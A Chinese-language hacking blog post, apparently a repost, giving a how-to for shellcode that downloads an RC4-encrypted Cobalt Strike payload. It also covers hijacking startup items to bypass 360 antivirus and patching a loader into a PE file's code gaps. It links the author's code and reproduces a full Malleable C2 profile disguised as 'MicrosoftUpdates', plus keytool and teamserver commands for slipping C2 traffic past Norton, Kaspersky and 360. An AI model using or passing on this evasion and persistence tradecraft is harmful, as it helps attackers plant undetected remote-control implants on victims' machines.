打造一款Socket型免殺無彈窗的shellcode

寫一個 shell­code 帶有 socket+rc4 加密跑遠端加密後的 cs 的 pay­load 下載下來後執行。然後利用啟動項劫持技術,繞過殺軟的啟動保護。

再高級一點的話,就是把啟動項劫持,改成用 masm 編寫超迷你型的 shell­code 裝載器,然後插入目標的 PE 空隙中,然後修改 OEP 指向我們的空隙然後執行完 shell­code 後再跳轉到入口點。

啟動項劫持的原理就是,360 雖然禁止對啟動項進行增改,但是刪和查是可以的,並且對於啟動項 / 服務項中的目標程序並沒有進行保護。所以我們可以對啟動項的程序進行劫持替換修改都是沒問題的。或者不對啟動項劫持進行替換,而是找到一個運行中的服務,kill 掉它的進程,然後對服務源程序進行劫持也是可以的。原理都差不多。

至於 pay­load,有兩個方案。

一.可以自己寫,難度有點高,可以參考

二進制入門 – 打造 Linux shellcode 基礎篇 https://www.cnblogs.com/ichunqiu/p/7273935.html

但是這種東西,一般頂天給你整個下載者。和 cs 那種全部功能純 shell­code 還是不一樣的。你下載者最終還是需要下載的你的二進制文件,達不到 「負載無文件」(不是純無文件,畢竟你的 shell­code 還是需要的),可能會導致你的馬子被檢測到。

pay­load 難主要難在,對於 API 地址的定位,不過一般只要找到 Load­Li­brary 的地址,其實還算是好說的啦。

實在不行,直接整個 PE­LOADER,自建一個 RVA 導入,不過傳輸 EXE 的話可能會被殺軟攔截 emmm,但是都能傳 shell­code 了,傳個加密的 PE 到內存理論上也是沒關係的吧,

二.推薦直接使用 CS或者 MSF,簡單粗暴。

最後研究出的代碼地址在這裡,喜歡記得點個star。

https://github.com/9bie/shellcode

帶有直接運行和服務啟動效果。

怎麼用我懶得說了,只能說不添加 啟動的話,至少是能無彈窗過 360 + 主防吧。

目前發現還不能過諾頓,過諾頓其實很簡單,如果是CS的話,不用自帶的證書即可,自己簽發生成證書,然後https監聽器上線。

諾頓流量免殺可以參考閱讀渣渣輝博客https://www.zzhsec.com/556.html:

原文如下

生成免費的ssl證書,棄用cobaltstrike.store,用自己的zzhsec.store

第一步生成zzhsec.store文件

命令: keytool -genkey -alias zzhsec -keyalg RSA -validity 36500 -keystore zzhsec.store 注意記得-alias後面的參數和-keystore後面的參數後面會用到C2-profile裏面 接下來需要輸入密碼,一定要記得這串密碼,後面會用到,不然到時候你需要自己回來重新生成下

然後輸入名字,例如:US 然後一步步輸入就行

最後這裡輸入y即可完成

然後再輸入一次密碼即可

ls查看當前目錄就生成好了zzhsec.store文件

keytool具體參數生成可以參考改文章:

https://blog.csdn.net/luoyongsir/article/details/54929288

創建修改C2-profile文件

set sample_name "zzhsec POS Malware";    set sleeptime "5000"; # use a ~30s delay between callbacks  set jitter    "10";    # throw in a 10% jitter    set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";    #設置證書  https-certificate {      set CN       "US";       set O        "MicrosoftUpdates";         set C        "en";      set L        "US";      set OU       "MicrosoftUpdates";        set ST       "US";      set validity "365";  }  #設置  code-signer{      set keystore "zzhsec.store";      set password "123.zzhsec!";      set alias "zzhsec";  }    #指定DNS beacon不用的時候指定到IP地址  set dns_idle "8.8.4.4";    #每個單獨DNS請求前強制睡眠時間  set dns_sleep "0";    #通過DNS上載數據時主機名的最大長度[0-255]  set maxdns    "235";    http-post {      set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";        client {          header "Accept" "text/plain";          header "Accept-Language" "en-us";          header "Accept-Encoding" "text/plain";          header "Content-Type" "application/x-www-form-urlencoded";            id {              netbios;              parameter "id";          }            output {              base64;              prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";              print;          }      }        server {          output {              print;          }      }  }    http-get {      set uri "/updates";        client {          metadata {              netbiosu;              prepend "user=";              header "Cookie";          }      }        server {          header "Content-Type" "text/plain";            output {              base64;              print;          }      }  }

上面文件對標生成的zzhsec.store即可 比如:

Is CN=US, OU=MicrosoftUpdatess, O=MicrosoftUpdatess, L=US, ST=US, C=en  替換  #設置證書  https-certificate {      set CN       "US";       set O        "MicrosoftUpdatess";         set C        "en";      set L        "US";      set OU       "MicrosoftUpdatess";        set ST       "US";      set validity "365";  }  ps:注意對應好  以及下面的  #設置  code-signer{      set keystore "zzhsec.store";      set password "123.zzhsec!";      set alias "zzhsec";  }  在上面的生成命令中的alias以及keystore後面的字段對應好  以及輸入命令的時候,你輸入的密碼也需要替換[object Object]

推薦兩個Github上的C2-profile

https://github.com/rsmudge/Malleable-C2-Profiles  https://github.com/threatexpress/malleable-c2  官方的C2配置文章  https://www.cobaltstrike.com/help-malleable-c2

接下來就是驗證C2-profile是否可用了

命令 ./c2lint me.profile

沒有出現什麼問題就可以了

然後期待teamserver即可

命令 nohup ./teamserver 1.1.1.1 123456 ./me.profile & 然後就可以愉快的去連接了

對了,建議把teamserver的端口改一下

改成一些你用不到的服務端口即可

最後測試了下卡巴斯基的諾頓和360,走https流量

隨便你怎麼操作,都不攔截,之前的會攔截流量

直接生成exe的話,可能被殺,需要自己簡單做一下免殺

我用的powershell上線的,其他的shellcode自己隨便搞一搞免殺也是分分鐘

推薦閱讀: https://xz.aliyun.com/t/2796 https://xz.aliyun.com/t/2239 https://www.chabug.org/web/832.html

參考來源:⑨BIE的博客以及渣渣輝博客

文由Hack學習呀